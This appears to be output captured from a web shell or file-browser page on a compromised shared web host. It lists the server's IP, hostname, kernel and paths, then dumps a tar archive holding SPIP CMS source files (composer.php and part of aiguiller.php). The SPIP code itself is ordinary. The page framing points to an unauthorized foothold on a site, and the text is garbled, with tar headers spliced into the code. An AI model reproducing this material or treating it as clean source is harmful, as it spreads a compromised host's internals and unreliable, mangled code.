uawdijnntqw1x1x1
IP : 216.73.217.6
Hostname : webm002.cluster111.gra.hosting.ovh.net
Kernel : Linux webm002.cluster111.gra.hosting.ovh.net 6.18.42-ovh-vps-grsec-zfs+ #1 SMP PREEMPT_DYNAMIC Wed Aug 5 15:59:48 CEST 2026 x86_64
Disable Function : _dyuweyrj4,_dyuweyrj4r,dl
OS : Linux
PATH:
/
home
/
atelierpru
/
provence
/
6bf95
/
..
/
tmp
/
..
/
52177
/
public.tar
/
/
composer.php000066600000100527152442520540007120 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Compose un squelette : compile le squelette au besoin et vérifie * la validité du code compilé * * @package SPIP\Core\Compilateur\Composer **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('inc/texte'); include_spip('inc/documents'); include_spip('inc/distant'); include_spip('inc/rubriques'); # pour calcul_branche (cf critere branche) include_spip('inc/acces'); // Gestion des acces pour ical include_spip('inc/actions'); include_spip('public/iterateur'); include_spip('public/interfaces'); include_spip('public/quete'); # Charge et retourne un composeur ou '' s'il est inconnu. Le compile au besoin # Charge egalement un fichier homonyme de celui du squelette # mais de suffixe '_fonctions.php' pouvant contenir: # 1. des filtres # 2. des fonctions de traduction de balise, de critere et de boucle # 3. des declaration de tables SQL supplementaires # Toutefois pour 2. et 3. preferer la technique de la surcharge // http://code.spip.net/@public_composer_dist function public_composer_dist($squelette, $mime_type, $gram, $source, $connect = '') { $nom = calculer_nom_fonction_squel($squelette, $mime_type, $connect); // si deja en memoire (INCLURE a repetition) c'est bon. if (function_exists($nom)) { return $nom; } if (defined('_VAR_MODE') and _VAR_MODE == 'debug') { $GLOBALS['debug_objets']['courant'] = $nom; } $phpfile = sous_repertoire(_DIR_SKELS, '', false, true) . $nom . '.php'; // si squelette est deja compile et perenne, le charger if (!squelette_obsolete($phpfile, $source)) { include_once $phpfile; #if (!squelette_obsolete($phpfile, $source) # AND lire_fichier ($phpfile, $skel_code, # array('critique' => 'oui', 'phpcheck' => 'oui'))){ ## eval('?'.'>'.$skel_code); # spip_log($skel_code, 'comp') #} } if (file_exists($lib = $squelette . '_fonctions' . '.php')) { include_once $lib; } // tester si le eval ci-dessus a mis le squelette en memoire if (function_exists($nom)) { return $nom; } // charger le source, si possible, et compiler if (lire_fichier($source, $skel)) { $compiler = charger_fonction('compiler', 'public'); $skel_code = $compiler($skel, $nom, $gram, $source, $connect); } // Ne plus rien faire si le compilateur n'a pas pu operer. if (!$skel_code) { return false; } foreach ($skel_code as $id => $boucle) { $f = $boucle->return; if (@eval("return true; $f ;") === false) { // Code syntaxiquement faux (critere etc mal programme') $msg = _T('zbug_erreur_compilation'); erreur_squelette($msg, $boucle); // continuer pour trouver d'autres fautes eventuelles // mais prevenir que c'est mort $nom = ''; } // Contexte de compil inutile a present // (mais la derniere valeur de $boucle est utilisee ci-dessous) $skel_code[$id] = $f; } $code = ''; if ($nom) { // Si le code est bon, concatener et mettre en cache if (function_exists($nom)) { $code = squelette_traduit($skel, $source, $phpfile, $skel_code); } else { // code semantiquement faux: bug du compilateur // $boucle est en fait ici la fct principale du squelette $msg = _T('zbug_erreur_compilation'); erreur_squelette($msg, $boucle); $nom = ''; } } if (defined('_VAR_MODE') and _VAR_MODE == 'debug') { // Tracer ce qui vient d'etre compile $GLOBALS['debug_objets']['code'][$nom . 'tout'] = $code; // si c'est ce que demande le debusqueur, lui passer la main if ($GLOBALS['debug_objets']['sourcefile'] and (_request('var_mode_objet') == $nom) and (_request('var_mode_affiche') == 'code') ) { erreur_squelette(); } } return $nom ? $nom : false; } function squelette_traduit($squelette, $sourcefile, $phpfile, $boucles) { // Le dernier index est '' (fonction principale) $noms = substr(join(', ', array_keys($boucles)), 0, -2); if (CODE_COMMENTE) { $code = " /* * Squelette : $sourcefile * Date : " . gmdate("D, d M Y H:i:s", @filemtime($sourcefile)) . " GMT * Compile : " . gmdate("D, d M Y H:i:s", time()) . " GMT * " . (!$boucles ? "Pas de boucle" : ("Boucles : " . $noms)) . " */ "; } $code = '<' . "?php\n" . $code . join('', $boucles) . "\n?" . '>'; if (!defined('_VAR_NOCACHE') or !_VAR_NOCACHE) { ecrire_fichier($phpfile, $code); } return $code; } // Le squelette compile est-il trop vieux ? // http://code.spip.net/@squelette_obsolete function squelette_obsolete($skel, $squelette) { static $date_change = null; // ne verifier la date de mes_fonctions et mes_options qu'une seule fois // par hit if (is_null($date_change)) { if (@file_exists($fonc = 'mes_fonctions.php')) { $date_change = @filemtime($fonc); } # compatibilite if (defined('_FILE_OPTIONS')) { $date_change = max($date_change, @filemtime(_FILE_OPTIONS)); } } return ( (defined('_VAR_MODE') and in_array(_VAR_MODE, array('recalcul', 'preview', 'debug'))) or !@file_exists($skel) or ((@file_exists($squelette) ? @filemtime($squelette) : 0) > ($date = @filemtime($skel))) or ($date_change > $date) ); } // Activer l'invalideur de session // http://code.spip.net/@invalideur_session function invalideur_session(&$Cache, $code = null) { $Cache['session'] = spip_session(); return $code; } // http://code.spip.net/@analyse_resultat_skel function analyse_resultat_skel($nom, $cache, $corps, $source = '') { static $filtres = array(); $headers = array(); // Recupere les < ?php header('Xx: y'); ? > pour $page['headers'] // note: on essaie d'attrapper aussi certains de ces entetes codes // "a la main" dans les squelettes, mais evidemment sans exhaustivite if (stripos($corps, 'header') !== false and preg_match_all( '/(<[?]php\s+)@?header\s*\(\s*.([^:\'"]*):?\s*([^)]*)[^)]\s*\)\s*[;]?\s*[?]>/ims', $corps, $regs, PREG_SET_ORDER) ) { foreach ($regs as $r) { $corps = str_replace($r[0], '', $corps); # $j = Content-Type, et pas content-TYPE. $j = join('-', array_map('ucwords', explode('-', strtolower($r[2])))); if ($j == 'X-Spip-Filtre' and isset($headers[$j])) { $headers[$j] .= "|" . $r[3]; } else { $headers[$j] = $r[3]; } } } // S'agit-il d'un resultat constant ou contenant du code php $process_ins = ( strpos($corps, '<' . '?') === false or (strpos($corps, '<' . '?xml') !== false and strpos(str_replace('<' . '?xml', '', $corps), '<' . '?') === false) ) ? 'html' : 'php'; $skel = array( 'squelette' => $nom, 'source' => $source, 'process_ins' => $process_ins, 'invalideurs' => $cache, 'entetes' => $headers, 'duree' => isset($headers['X-Spip-Cache']) ? intval($headers['X-Spip-Cache']) : 0 ); // traiter #FILTRE{} et filtres if (!isset($filtres[$nom])) { $filtres[$nom] = pipeline('declarer_filtres_squelettes', array('args' => $skel, 'data' => array())); } if (count($filtres[$nom]) or (isset($headers['X-Spip-Filtre']) and strlen($headers['X-Spip-Filtre']))) { include_spip('public/sandbox'); $corps = sandbox_filtrer_squelette($skel, $corps, strlen($headers['X-Spip-Filtre']) ? explode('|', $headers['X-Spip-Filtre']) : array(), $filtres[$nom]); unset($headers['X-Spip-Filtre']); if ($process_ins == 'html') { $skel['process_ins'] = ( strpos($corps, '<' . '?') === false or (strpos($corps, '<' . '?xml') !== false and strpos(str_replace('<' . '?xml', '', $corps), '<' . '?') === false) ) ? 'html' : 'php'; } } $skel['entetes'] = $headers; $skel['texte'] = $corps; return $skel; } // // Des fonctions diverses utilisees lors du calcul d'une page ; ces fonctions // bien pratiques n'ont guere de logique organisationnelle ; elles sont // appelees par certaines balises au moment du calcul des pages. (Peut-on // trouver un modele de donnees qui les associe physiquement au fichier // definissant leur balise ??? // /** * Calcul d'une introduction * * L'introduction est prise dans le descriptif s'il est renseigné, * sinon elle est calculée depuis le texte : à ce moment là, * l'introduction est prise dans le contenu entre les balises * `<intro>` et `</intro>` si présentes, sinon en coupant le * texte à la taille indiquée. * * Cette fonction est utilisée par la balise #INTRODUCTION * * @param string $descriptif * Descriptif de l'introduction * @param string $texte * Texte à utiliser en absence de descriptif * @param string $longueur * Longueur de l'introduction * @param string $connect * Nom du connecteur à la base de données * @param string $suite * points de suite si on coupe (par defaut _INTRODUCTION_SUITE et sinon (...) * @return string * Introduction calculée **/ function filtre_introduction_dist($descriptif, $texte, $longueur, $connect, $suite = null) { // Si un descriptif est envoye, on l'utilise directement if (strlen($descriptif)) { return appliquer_traitement_champ($descriptif, 'introduction', '', array(), $connect); } // De preference ce qui est marque <intro>...</intro> $intro = ''; $texte = preg_replace(",(</?)intro>,i", "\\1intro>", $texte); // minuscules while ($fin = strpos($texte, "</intro>")) { $zone = substr($texte, 0, $fin); $texte = substr($texte, $fin + strlen("</intro>")); if ($deb = strpos($zone, "<intro>") or substr($zone, 0, 7) == "<intro>") { $zone = substr($zone, $deb + 7); } $intro .= $zone; } // [12025] On ne *PEUT* pas couper simplement ici car c'est du texte brut, // qui inclus raccourcis et modeles // un simple <articlexx> peut etre ensuite transforme en 1000 lignes ... // par ailleurs le nettoyage des raccourcis ne tient pas compte // des surcharges et enrichissement de propre // couper doit se faire apres propre //$texte = nettoyer_raccourcis_typo($intro ? $intro : $texte, $connect); // Cependant pour des questions de perfs on coupe quand meme, en prenant // large et en se mefiant des tableaux #1323 if (strlen($intro)) { $texte = $intro; } else { if (strpos("\n" . $texte, "\n|") === false and strlen($texte) > 2.5 * $longueur ) { if (strpos($texte, "<multi") !== false) { $texte = extraire_multi($texte); } $texte = couper($texte, 2 * $longueur); } } // ne pas tenir compte des notes if ($notes = charger_fonction('notes', 'inc', true)) { $notes('', 'empiler'); } // Supprimer les modèles avant le propre afin d'éviter qu'ils n'ajoutent du texte indésirable // dans l'introduction. $texte = supprime_img($texte, ''); $texte = appliquer_traitement_champ($texte, 'introduction', '', array(), $connect); if ($notes) { $notes('', 'depiler'); } if (is_null($suite) and defined('_INTRODUCTION_SUITE')) { $suite = _INTRODUCTION_SUITE; } $texte = couper($texte, $longueur, $suite); // comme on a coupe il faut repasser la typo (on a perdu les insecables) $texte = typo($texte, true, $connect, array()); // et reparagrapher si necessaire (coherence avec le cas descriptif) // une introduction a tojours un <p> if ($GLOBALS['toujours_paragrapher']) // Fermer les paragraphes { $texte = paragrapher($texte, $GLOBALS['toujours_paragrapher']); } return $texte; } // // Balises dynamiques // /** Code PHP pour inclure une balise dynamique à l'exécution d'une page */ define('CODE_INCLURE_BALISE', '<' . '?php include_once("%s"); if ($lang_select = "%s") $lang_select = lang_select($lang_select); inserer_balise_dynamique(balise_%s_dyn(%s), array(%s)); if ($lang_select) lang_select(); ?' . '>'); /** * Synthétise une balise dynamique : crée l'appel à l'inclusion * en transmettant les arguments calculés et le contexte de compilation. * * @uses argumenter_squelette() Pour calculer les arguments de l'inclusion * * @param string $nom * Nom de la balise dynamique * @param array $args * Liste des arguments calculés * @param string $file * Chemin du fichier de squelette à inclure * @param array $context_compil * Tableau d'informations sur la compilation * @return string * Code PHP pour inclure le squelette de la balise dynamique **/ function synthetiser_balise_dynamique($nom, $args, $file, $context_compil) { if (strncmp($file, "/", 1) !== 0) { $file = './" . _DIR_RACINE . "' . $file; } $r = sprintf(CODE_INCLURE_BALISE, $file, $context_compil[4] ? $context_compil[4] : '', $nom, join(', ', array_map('argumenter_squelette', $args)), join(', ', array_map('_q', $context_compil))); return $r; } /** * Crée le code PHP pour transmettre des arguments (généralement pour une inclusion) * * @param array|string $v * Arguments à transmettre : * * - string : un simple texte à faire écrire * - array : couples ('nom' => 'valeur') liste des arguments et leur valeur * @return string * * - Code PHP créant le tableau des arguments à transmettre, * - ou texte entre quote `'` (si `$v` était une chaîne) **/ function argumenter_squelette($v) { if (!is_array($v)) { return "'" . texte_script($v) . "'"; } else { $out = array(); foreach ($v as $k => $val) { $out [] = argumenter_squelette($k) . '=>' . argumenter_squelette($val); } return 'array(' . join(", ", $out) . ')'; } } /** * Calcule et retourne le code PHP retourné par l'exécution d'une balise * dynamique. * * Vérifier les arguments et filtres et calcule le code PHP à inclure. * * - charge le fichier PHP de la balise dynamique dans le répertoire * `balise/`, soit du nom complet de la balise, soit d'un nom générique * (comme 'formulaire_.php'). Dans ce dernier cas, le nom de la balise * est ajouté en premier argument. * - appelle une éventuelle fonction de traitement des arguments `balise_NOM_stat()` * - crée le code PHP de la balise si une fonction `balise_NOM_dyn()` (ou variantes) * est effectivement trouvée. * * @uses synthetiser_balise_dynamique() * Pour calculer le code PHP d'inclusion produit * * @param string $nom * Nom de la balise dynamique * @param array $args * Liste des arguments calculés de la balise * @param array $context_compil * Tableau d'informations sur la compilation * @return string * Code PHP d'exécutant l'inclusion du squelette (ou texte) de la balise dynamique **/ function executer_balise_dynamique($nom, $args, $context_compil) { $nomfonction = $nom; $nomfonction_generique = ""; // Calculer un nom générique (ie. 'formulaire_' dans 'formulaire_editer_article') if (false !== ($p = strpos($nom, "_"))) { $nomfonction_generique = substr($nom, 0, $p + 1); } if (!$fonction_balise = charger_fonction($nomfonction, 'balise', true)) { if ($nomfonction_generique and $fonction_balise = charger_fonction($nomfonction_generique, 'balise', true)) { // et injecter en premier arg le nom de la balise array_unshift($args, $nom); $nomfonction = $nomfonction_generique; } } if (!$fonction_balise) { $msg = array('zbug_balise_inexistante', array('from' => 'CVT', 'balise' => $nom)); erreur_squelette($msg, $context_compil); return ''; } // retrouver le fichier qui a déclaré la fonction // même si la fonction dynamique est déclarée dans un fichier de fonctions. // Attention sous windows, getFileName() retourne un antislash. $reflector = new ReflectionFunction($fonction_balise); $file = str_replace('\\', '/', $reflector->getFileName()); if (strncmp($file, str_replace('\\', '/', _ROOT_RACINE), strlen(_ROOT_RACINE)) === 0) { $file = substr($file, strlen(_ROOT_RACINE)); } // Y a-t-il une fonction de traitement des arguments ? $f = 'balise_' . $nomfonction . '_stat'; $r = !function_exists($f) ? $args : $f($args, $context_compil); if (!is_array($r)) { return $r; } // verifier que la fonction dyn est la, // sinon se replier sur la generique si elle existe if (!function_exists('balise_' . $nomfonction . '_dyn')) { if ($nomfonction_generique and $file = include_spip("balise/" . strtolower($nomfonction_generique)) and function_exists('balise_' . $nomfonction_generique . '_dyn') ) { // et lui injecter en premier arg le nom de la balise array_unshift($r, $nom); $nomfonction = $nomfonction_generique; if (!_DIR_RESTREINT) { $file = _DIR_RESTREINT_ABS . $file; } } else { $msg = array('zbug_balise_inexistante', array('from' => 'CVT', 'balise' => $nom)); erreur_squelette($msg, $context_compil); return ''; } } return synthetiser_balise_dynamique($nomfonction, $r, $file, $context_compil); } /** * Retourne pour une clé primaire d'objet donnée les identifiants ayant un logo * * @uses type_du_logo() Pour calculer le nom du logo * * @param string $type * Nom de la clé primaire de l'objet * @return string * Liste des identifiants ayant un logo (séparés par une virgule) **/ function lister_objets_avec_logos($type) { $logos = array(); $chercher_logo = charger_fonction('chercher_logo', 'inc'); $type = '/' . type_du_logo($type) . "on(\d+)\.(" . join('|', $GLOBALS['formats_logos']) . ")$/"; if ($d = opendir(_DIR_LOGOS)) { while (($f = readdir($d)) !== false) { if (preg_match($type, $f, $r)) { $logos[] = $r[1]; } } } @closedir($d); return join(',', $logos); } /** * Renvoie l'état courant des notes, le purge et en prépare un nouveau * * Fonction appelée par la balise `#NOTES` * * @see balise_NOTES_dist() * @uses inc_notes_dist() * * @return string * Code HTML des notes **/ function calculer_notes() { $r = ''; if ($notes = charger_fonction('notes', 'inc', true)) { $r = $notes(array()); $notes('', 'depiler'); $notes('', 'empiler'); } return $r; } /** * Selectionner la langue de l'objet dans la boucle * * Applique sur un item de boucle la langue de l'élément qui est parcourru. * Sauf dans les cas ou il ne le faut pas ! * * La langue n'est pas modifiée lorsque : * - la globale 'forcer_lang' est définie à true * - l'objet ne définit pas de langue * - le titre contient une balise multi. * * @param string $lang * Langue de l'objet * @param string $lang_select * 'oui' si critère lang_select est présent, '' sinon. * @param null|string $titre * Titre de l'objet * @return null; **/ function lang_select_public($lang, $lang_select, $titre = null) { // Cas 1. forcer_lang = true et pas de critere {lang_select} if (isset($GLOBALS['forcer_lang']) and $GLOBALS['forcer_lang'] and $lang_select !== 'oui' ) { $lang = $GLOBALS['spip_lang']; } // Cas 2. l'objet n'a pas de langue definie (ou definie a '') elseif (!strlen($lang)) { $lang = $GLOBALS['spip_lang']; } // Cas 3. l'objet est multilingue ! elseif ($lang_select !== 'oui' and strlen($titre) > 10 and strpos($titre, '<multi>') !== false and strpos(echappe_html($titre), '<multi>') !== false ) { $lang = $GLOBALS['spip_lang']; } // faire un lang_select() eventuellement sur la langue inchangee lang_select($lang); return; } // Si un tableau &doublons[articles] est passe en parametre, // il faut le nettoyer car il pourrait etre injecte en SQL // http://code.spip.net/@nettoyer_env_doublons function nettoyer_env_doublons($envd) { foreach ($envd as $table => $liste) { $n = ''; foreach (explode(',', $liste) as $val) { if ($a = intval($val) and $val === strval($a)) { $n .= ',' . $val; } } if (strlen($n)) { $envd[$table] = $n; } else { unset($envd[$table]); } } return $envd; } /** * Cherche la présence d'un opérateur SELF ou SUBSELECT * * Cherche dans l'index 0 d'un tableau, la valeur SELF ou SUBSELECT * indiquant pour une expression WHERE de boucle que nous sommes * face à une sous-requête. * * Cherche de manière récursive également dans les autres valeurs si celles-ci * sont des tableaux * * @param string|array $w * Description d'une condition WHERE de boucle (ou une partie de cette description) * @return string|bool * Opérateur trouvé (SELF ou SUBSELECT) sinon false. **/ function match_self($w) { if (is_string($w)) { return false; } if (is_array($w)) { if (in_array(reset($w), array("SELF", "SUBSELECT"))) { return $w; } foreach (array_filter($w, 'is_array') as $sw) { if ($m = match_self($sw)) { return $m; } } } return false; } /** * Remplace une condition décrivant une sous requête par son code * * @param array|string $w * Description d'une condition WHERE de boucle (ou une partie de cette description) * qui possède une description de sous-requête * @param string $sousrequete * Code PHP de la sous requête (qui doit remplacer la description) * @return array|string * Tableau de description du WHERE dont la description de sous-requête * est remplacée par son code. **/ function remplace_sous_requete($w, $sousrequete) { if (is_array($w)) { if (in_array(reset($w), array("SELF", "SUBSELECT"))) { return $sousrequete; } foreach ($w as $k => $sw) { $w[$k] = remplace_sous_requete($sw, $sousrequete); } } return $w; } /** * Sépare les conditions de boucles simples de celles possédant des sous-requêtes. * * @param array $where * Description d'une condition WHERE de boucle * @return array * Liste de 2 tableaux : * - Conditions simples (ne possédant pas de sous requêtes) * - Conditions avec des sous requêtes **/ function trouver_sous_requetes($where) { $where_simples = array(); $where_sous = array(); foreach ($where as $k => $w) { if (match_self($w)) { $where_sous[$k] = $w; } else { $where_simples[$k] = $w; } } return array($where_simples, $where_sous); } /** * Calcule une requête et l’exécute * * Cette fonction est présente dans les squelettes compilés. * Elle peut permettre de générer des requêtes avec jointure. * * @param array $select * @param array $from * @param array $from_type * @param array $where * @param array $join * @param array $groupby * @param array $orderby * @param string $limit * @param array $having * @param string $table * @param string $id * @param string $serveur * @param bool $requeter * @return resource */ function calculer_select( $select = array(), $from = array(), $from_type = array(), $where = array(), $join = array(), $groupby = array(), $orderby = array(), $limit = '', $having = array(), $table = '', $id = '', $serveur = '', $requeter = true ) { // retirer les criteres vides: // {X ?} avec X absent de l'URL // {par #ENV{X}} avec X absent de l'URL // IN sur collection vide (ce dernier devrait pouvoir etre fait a la compil) $menage = false; foreach ($where as $k => $v) { if (is_array($v)) { if ((count($v) >= 2) && ($v[0] == 'REGEXP') && ($v[2] == "'.*'")) { $op = false; } elseif ((count($v) >= 2) && ($v[0] == 'LIKE') && ($v[2] == "'%'")) { $op = false; } else { $op = $v[0] ? $v[0] : $v; } } else { $op = $v; } if ((!$op) or ($op == 1) or ($op == '0=0')) { unset($where[$k]); $menage = true; } } // evacuer les eventuels groupby vide issus d'un calcul dynamique $groupby = array_diff($groupby, array('')); // remplacer les sous requetes recursives au calcul list($where_simples, $where_sous) = trouver_sous_requetes($where); foreach ($where_sous as $k => $w) { $menage = true; // on recupere la sous requete $sous = match_self($w); if ($sous[0] == 'SELF') { // c'est une sous requete identique a elle meme sous la forme (SELF,$select,$where) array_push($where_simples, $sous[2]); $wheresub = array( $sous[2], '0=0' ); // pour accepter une string et forcer a faire le menage car on a surement simplifie select et where $jsub = $join; // trouver les jointures utiles a // reinjecter dans le where de la sous requete les conditions supplementaires des jointures qui y sont mentionnees // ie L1.objet='article' // on construit le where une fois, puis on ajoute les where complentaires si besoin, et on reconstruit le where en fonction $i = 0; do { $where[$k] = remplace_sous_requete($w, "(" . calculer_select( array($sous[1] . " AS id"), $from, $from_type, $wheresub, $jsub, array(), array(), '', $having, $table, $id, $serveur, false) . ")"); if (!$i) { $i = 1; $wherestring = calculer_where_to_string($where[$k]); foreach ($join as $cle => $wj) { if (count($wj) == 4 and strpos($wherestring, "{$cle}.") !== false ) { $i = 0; $wheresub[] = $wj[3]; unset($jsub[$cle][3]); } } } } while ($i++ < 1); } if ($sous[0] == 'SUBSELECT') { // c'est une sous requete explicite sous la forme identique a sql_select : (SUBSELECT,$select,$from,$where,$groupby,$orderby,$limit,$having) array_push($where_simples, $sous[3]); // est-ce utile dans ce cas ? $where[$k] = remplace_sous_requete($w, "(" . calculer_select( $sous[1], # select $sous[2], #from array(), #from_type $sous[3] ? (is_array($sous[3]) ? $sous[3] : array($sous[3])) : array(), #where, qui peut etre de la forme string comme dans sql_select array(), #join $sous[4] ? $sous[4] : array(), #groupby $sous[5] ? $sous[5] : array(), #orderby $sous[6], #limit $sous[7] ? $sous[7] : array(), #having $table, $id, $serveur, false ) . ")"); } array_pop($where_simples); } foreach ($having as $k => $v) { if ((!$v) or ($v == 1) or ($v == '0=0')) { unset($having[$k]); } } // Installer les jointures. // Retirer celles seulement utiles aux criteres finalement absents mais // parcourir de la plus recente a la moins recente pour pouvoir eliminer Ln // si elle est seulement utile a Ln+1 elle meme inutile $afrom = array(); $equiv = array(); $k = count($join); foreach (array_reverse($join, true) as $cledef => $j) { $cle = $cledef; // le format de join est : // array(table depart, cle depart [,cle arrivee[,condition optionnelle and ...]]) $join[$cle] = array_values($join[$cle]); // recalculer les cles car des unset ont pu perturber if (count($join[$cle]) == 2) { $join[$cle][] = $join[$cle][1]; } if (count($join[$cle]) == 3) { $join[$cle][] = ''; } list($t, $c, $carr, $and) = $join[$cle]; // si le nom de la jointure n'a pas ete specifiee, on prend Lx avec x sont rang dans la liste // pour compat avec ancienne convention if (is_numeric($cle)) { $cle = "L$k"; } if (!$menage or isset($afrom[$cle]) or calculer_jointnul($cle, $select) or calculer_jointnul($cle, array_diff_key($join, array($cle => $join[$cle]))) or calculer_jointnul($cle, $having) or calculer_jointnul($cle, $where_simples) ) { // corriger les references non explicites dans select // ou groupby foreach ($select as $i => $s) { if ($s == $c) { $select[$i] = "$cle.$c AS $c"; break; } } foreach ($groupby as $i => $g) { if ($g == $c) { $groupby[$i] = "$cle.$c"; break; } } // on garde une ecriture decomposee pour permettre une simplification ulterieure si besoin // sans recours a preg_match // un implode(' ',..) est fait dans reinjecte_joint un peu plus bas $afrom[$t][$cle] = array( "\n" . (isset($from_type[$cle]) ? $from_type[$cle] : "INNER") . " JOIN", $from[$cle], "AS $cle", "ON (", "$cle.$c", "=", "$t.$carr", ($and ? "AND " . $and : "") . ")" ); if (isset($afrom[$cle])) { $afrom[$t] = $afrom[$t] + $afrom[$cle]; unset($afrom[$cle]); } $equiv[] = $carr; } else { unset($join[$cledef]); } unset($from[$cle]); $k--; } if (count($afrom)) { // Regarder si la table principale ne sert finalement a rien comme dans //<BOUCLE3(MOTS){id_article}{id_mot}> class='on'</BOUCLE3> //<BOUCLE2(MOTS){id_article} />#TOTAL_BOUCLE<//B2> //<BOUCLE5(RUBRIQUES){id_mot}{tout} />#TOTAL_BOUCLE<//B5> // ou dans //<BOUCLE8(HIERARCHIE){id_rubrique}{tout}{type='Squelette'}{inverse}{0,1}{lang_select=non} />#TOTAL_BOUCLE<//B8> // qui comporte plusieurs jointures // ou dans // <BOUCLE6(ARTICLES){id_mot=2}{statut==.*} />#TOTAL_BOUCLE<//B6> // <BOUCLE7(ARTICLES){id_mot>0}{statut?} />#TOTAL_BOUCLE<//B7> // penser a regarder aussi la clause orderby pour ne pas simplifier abusivement // <BOUCLE9(ARTICLES){recherche truc}{par titre}>#ID_ARTICLE</BOUCLE9> // penser a regarder aussi la clause groubpy pour ne pas simplifier abusivement // <BOUCLE10(EVENEMENTS){id_rubrique} />#TOTAL_BOUCLE<//B10> list($t, $c) = each($from); reset($from); $e = '/\b(' . "$t\\." . join("|" . $t . '\.', $equiv) . ')\b/'; if (!(strpos($t, ' ') or // jointure des le depart cf boucle_doc calculer_jointnul($t, $select, $e) or calculer_jointnul($t, $join, $e) or calculer_jointnul($t, $where, $e) or calculer_jointnul($t, $orderby, $e) or calculer_jointnul($t, $groupby, $e) or calculer_jointnul($t, $having, $e)) && count($afrom[$t]) ) { reset($afrom[$t]); list($nt, $nfrom) = each($afrom[$t]); unset($from[$t]); $from[$nt] = $nfrom[1]; unset($afrom[$t][$nt]); $afrom[$nt] = $afrom[$t]; unset($afrom[$t]); $e = '/\b' . preg_quote($nfrom[6]) . '\b/'; $t = $nfrom[4]; $alias = ""; // verifier que les deux cles sont homonymes, sinon installer un alias dans le select $oldcle = explode('.', $nfrom[6]); $oldcle = end($oldcle); $newcle = explode('.', $nfrom[4]); $newcle = end($newcle); if ($newcle != $oldcle) { // si l'ancienne cle etait deja dans le select avec un AS // reprendre simplement ce AS $as = '/\b' . preg_quote($nfrom[6]) . '\s+(AS\s+\w+)\b/'; if (preg_match($as, implode(',', $select), $m)) { $alias = ""; } else { $alias = ", " . $nfrom[4] . " AS $oldcle"; } } $select = remplacer_jointnul($t . $alias, $select, $e); $join = remplacer_jointnul($t, $join, $e); $where = remplacer_jointnul($t, $where, $e); $having = remplacer_jointnul($t, $having, $e); $groupby = remplacer_jointnul($t, $groupby, $e); $orderby = remplacer_jointnul($t, $orderby, $e); } $from = reinjecte_joint($afrom, $from); } $GLOBALS['debug']['aucasou'] = array($table, $id, $serveur, $requeter); $r = sql_select($select, $from, $where, $groupby, array_filter($orderby), $limit, $having, $serveur, $requeter); unset($GLOBALS['debug']['aucasou']); return $r; } /** * Analogue a calculer_mysql_expression et autre (a unifier ?) * * @param string|array $v * @param string $join * @return string */ function calculer_where_to_string($v, $join = 'AND') { if (empty($v)) { return ''; } if (!is_array($v)) { return $v; } else { $exp = ""; if (strtoupper($join) === 'AND') { return $exp . join(" $join ", array_map('calculer_where_to_string', $v)); } else { return $exp . join($join, $v); } } } //condition suffisante (mais non necessaire) pour qu'une table soit utile // http://code.spip.net/@calculer_jointnul function calculer_jointnul($cle, $exp, $equiv = '') { if (!is_array($exp)) { if ($equiv) { $exp = preg_replace($equiv, '', $exp); } return preg_match("/\\b$cle\\./", $exp); } else { foreach ($exp as $v) { if (calculer_jointnul($cle, $v, $equiv)) { return true; } } return false; } } // http://code.spip.net/@reinjecte_joint function reinjecte_joint($afrom, $from) { $from_synth = array(); foreach ($from as $k => $v) { $from_synth[$k] = $from[$k]; if (isset($afrom[$k])) { foreach ($afrom[$k] as $kk => $vv) { $afrom[$k][$kk] = implode(' ', $afrom[$k][$kk]); } $from_synth["$k@"] = implode(' ', $afrom[$k]); unset($afrom[$k]); } } return $from_synth; } // http://code.spip.net/@remplacer_jointnul function remplacer_jointnul($cle, $exp, $equiv = '') { if (!is_array($exp)) { return preg_replace($equiv, $cle, $exp); } else { foreach ($exp as $k => $v) { $exp[$k] = remplacer_jointnul($cle, $v, $equiv); } return $exp; } } // calcul du nom du squelette // http://code.spip.net/@calculer_nom_fonction_squel function calculer_nom_fonction_squel($skel, $mime_type = 'html', $connect = '') { // ne pas doublonner les squelette selon qu'ils sont calcules depuis ecrire/ ou depuis la racine if ($l = strlen(_DIR_RACINE) and strncmp($skel, _DIR_RACINE, $l) == 0) { $skel = substr($skel, strlen(_DIR_RACINE)); } return $mime_type . (!$connect ? '' : preg_replace('/\W/', "_", $connect)) . '_' . md5($GLOBALS['spip_version_code'] . ' * ' . $skel . (isset($GLOBALS['marqueur_skel']) ? '*' . $GLOBALS['marqueur_skel'] : '')); } aiguiller.php000066600000024326152442520540007250 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ if (!defined('_ECRIRE_INC_VERSION')) { return; } function securiser_redirect_action($redirect) { if ((tester_url_absolue($redirect) or preg_match(',^\w+:,',trim($redirect))) and !defined('_AUTORISER_ACTION_ABS_REDIRECT')) { // si l'url est une url du site, on la laisse passer sans rien faire // c'est encore le plus simple $base = $GLOBALS['meta']['adresse_site'] . "/"; if (strlen($base) and strncmp($redirect, $base, strlen($base)) == 0) { return $redirect; } $base = url_de_base(); if (strlen($base) and strncmp($redirect, $base, strlen($base)) == 0) { return $redirect; } return ""; } return $redirect; } // http://code.spip.net/@traiter_appels_actions function traiter_appels_actions() { // cas de l'appel qui renvoie une redirection (302) ou rien (204) if ($action = _request('action')) { include_spip('base/abstract_sql'); // chargement systematique pour les actions include_spip('inc/autoriser'); include_spip('inc/headers'); include_spip('inc/actions'); // des actions peuvent appeler _T if (!isset($GLOBALS['spip_lang'])) { include_spip('inc/lang'); utiliser_langue_visiteur(); } // si l'action est provoque par un hit {ajax} // il faut transmettre l'env ajax au redirect // on le met avant dans la query string au cas ou l'action fait elle meme sa redirection if (($v = _request('var_ajax')) and ($v !== 'form') and ($args = _request('var_ajax_env')) and ($url = _request('redirect')) ) { $url = parametre_url($url, 'var_ajax', $v, '&'); $url = parametre_url($url, 'var_ajax_env', $args, '&'); set_request('redirect', $url); } else { if (_request('redirect')) { set_request('redirect', securiser_redirect_action(_request('redirect'))); } } 